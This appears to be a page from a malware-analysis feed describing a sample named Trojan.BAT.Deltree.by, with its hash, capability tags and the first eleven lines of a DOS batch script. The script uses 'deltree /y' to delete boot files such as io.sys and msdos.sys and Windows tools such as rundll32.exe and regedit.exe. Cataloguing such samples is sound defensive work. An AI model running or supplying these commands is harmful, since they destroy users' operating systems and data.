Benign Download

Trojan.BAT.Deltree.by

Rundll32 command textShell command execution capability
SHA-256d20aa2ea9a1afa1d536d4e3bfd962eb6f56a139115e1265705c4bb31ed7fe373
MaleculeH₂(FPo₂)

Evidence

References DOS boot configuration files lines 1–24
1@echo off
2cd...
3cd c:\
4deltree /y io.sys
5deltree /y msdos.sys
6deltree /y config.sys
7cd windows
8deltree /y rundll.exe
9deltree /y rundll32.exe
10deltree /y regedit.exe
11cd system
⋯13 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.